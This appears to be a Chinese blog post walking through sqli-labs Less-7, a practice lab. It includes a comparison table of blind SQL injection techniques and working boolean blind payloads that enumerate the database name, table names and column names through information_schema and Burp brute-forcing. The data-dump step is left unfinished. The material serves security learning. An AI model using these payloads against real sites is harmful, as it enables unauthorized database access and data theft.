当前位置: 首页 > news >正文

【撸靶笔记】第七关:GET - Dump into outfile - String

第七关


1、确定注入点

2、确定列数

3、确定回显位

也没有回显位,继续报错注入,准备写shi

4、报错注入

这里使用“报错注入”爆库名,失败,

反复检查,不是sql语句的原因,写shi失败,尝试使用盲注

5、盲注 

以下是 SQL 注入中不同盲注类型的分析表格,从定义、特点、判断方式、适用场景及示例等方面进行对比:

盲注类型定义核心特点判断方式适用场景示例(假设查询为SELECT * FROM users WHERE id = [输入]
布尔盲注基于 SQL 语句执行后返回的布尔状态(真 / 假)推断信息,无直接错误或数据显示仅返回两种状态(如页面正常 / 异常、存在 / 不存在提示),无具体数据或错误信息构造条件语句(如AND 1=1AND 1=2),观察页面状态变化差异页面无错误回显,但对条件判断有状态响应(如登录成功 / 失败、内容显示 / 隐藏)输入1 AND SUBSTRING((SELECT username FROM users LIMIT 1),1,1)='a',若页面正常则首字母为 'a',否则不是
时间盲注基于 SQL 语句执行后是否触发时间延迟推断信息,无任何状态或数据显示无页面状态差异,需通过执行时间判断;依赖数据库延时函数(如SLEEP()构造含延时函数的条件语句(如AND IF(条件,SLEEP(5),0)),观察响应时间页面无任何状态差异(布尔盲注失效),但数据库支持延时函数输入1 AND IF(SUBSTRING((SELECT username FROM users LIMIT 1),1,1)='a',SLEEP(5),0),若响应延迟 5 秒则首字母为 'a'
报错盲注基于 SQL 语句执行后返回的错误信息提取数据,通过构造错误触发信息泄露会显示数据库错误详情(如表名、列名、数据片段),需利用错误函数触发构造含错误函数的语句(如UPDATEXML()ExtractValue()),从错误信息提取页面开启错误显示(如调试模式),且数据库支持错误函数输入1 AND UPDATEXML(1,CONCAT(0x7e,(SELECT username FROM users LIMIT 1),0x7e),1),错误信息可能显示用户名片段

补充说明:

  • 三种盲注的核心区别在于信息反馈方式:布尔盲注依赖状态差异,时间盲注依赖执行时间,报错盲注依赖错误信息。
  • 实际渗透中,通常先尝试报错盲注(效率最高),再试布尔盲注,最后考虑时间盲注(耗时且易被检测)。
  • 部分场景可能存在混合盲注(如同时具备布尔和时间特征),需结合多种方式验证。

根据之前的页面反馈,尝试使用布尔盲注

6、爆库名:

使用length( )方法,确认库名长度

(length(database()))=8  --页面回显正常http://bachang/sqli-labs-master/Less-7/?id=1%27))%20and%20(length(database()))=8--+

知道库名字段长度后,可以使用BP抓包直接进行暴力破解,免去一个一个手动去试

这里手动爆出库名的一个字符,作为演示

http://bachang/sqli-labs-master/Less-7/?id=1%27))%20and%20substr((database()),1,1)%20=%27s%27%20--+

利用BP爆破,得到库名为security

7、爆表名

获取表个数:4

?id=1')) and (select count(*) from information_schema.tables where table_schema=database())=4 --+

获取表名长度

?id=1')) and (select length(table_name) from information_schema.tables where table_schema=database() limit 0,1)=6 --+

借助BP爆所有表名长度:6---8---7---5

爆表名:直接爆第4个表,表名为users;爆其他表名只需更改粉色负载点的值:0--3 共4张表

?id=1')) and (substr(select table_name from information_schema.tables where table_schema=database() limit 3,1),1,1)='u' --+

8、爆字段名

爆字段长度:20

?id=1')) and length((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'))=20 --+

爆字段名

?id=1')) and (select substr(group_concat(column_name),1,1) from information_schema.columns where table_schema=database() and table_name='users')='a' --+

利用BP爆破:id---username---password

9、爆数据

查数据条数:

--?

确定每条数据长度:

--?

爆数据:

--?

http://www.dtcms.com/a/338846.html

相关文章:

  • LeetCode算法日记 - Day 16: 连续数组、矩阵区域和
  • [系统架构设计师]信息系统架构设计理论与实践(十二)
  • 第八十四章:实战篇:图 → 视频:基于 AnimateDiff 的视频合成链路——让你的图片“活”起来,瞬间拥有“电影感”!
  • C++排序算法学习笔记
  • Java第十三课 异常(超简单)
  • 基于zephyr使用stm32的LTDC点亮ARGB8888LCD触摸屏
  • Kubernetes 简介
  • 代码随想录刷题——字符串篇(七)
  • 字符分类函数与字符转换函数
  • 【LeetCode 热题 100】279. 完全平方数——(解法一)记忆化搜索
  • kkfileview预览Excel文件去掉左上角的跳转HTM预览、打印按钮
  • Python爬虫第一课:爬取HTML静态网页小说章节
  • 国产!全志T113-i 双核Cortex-A7@1.2GHz 工业开发板—ARM + FPGA通信案例
  • PicoShare 文件共享教程:cpolar 内网穿透服务实现跨设备极速传输
  • Simulink库文件创建及使用方法
  • 4.Kotlin 集合 Map 所有方法
  • CVPR 2025 | 具身智能 | HOLODECK:一句话召唤3D世界,智能体的“元宇宙练功房”来了
  • 库卡机器人tag焊接保护气体流量控制系统
  • (第五篇)spring cloud之Ribbon负载均衡
  • 主流 3D 模型格式(FBX/OBJ/DAE/GLTF)材质支持与转换操作指南
  • 云存储的高效安全助手:阿里云国际站 OSS
  • ICCV 2025 | 首个3D动作游戏专用VLA模型,打黑神话只狼超越人类玩家
  • iOS 性能监控实践,如何构建从开发到运维的持续优化体系
  • 面试题储备-MQ篇 3-说说你对Kafka的理解
  • 如何用给各种IDE配置R语言环境
  • Halcon联合C# 添加工具类让winform自动根据窗体大小自适应缩放所有控件
  • 知行社黄剑杰:金融跨界,重塑震区救援新章
  • 《基于大数据的全球用水量数据可视化分析系统》用Python+Django开发,为什么导师却推荐用Java+Spring Boot?真相揭秘……
  • sqli-labs通关笔记-第55关 GET数值型注入(括号闭合 限制14次探测机会)
  • 今日行情明日机会——20250819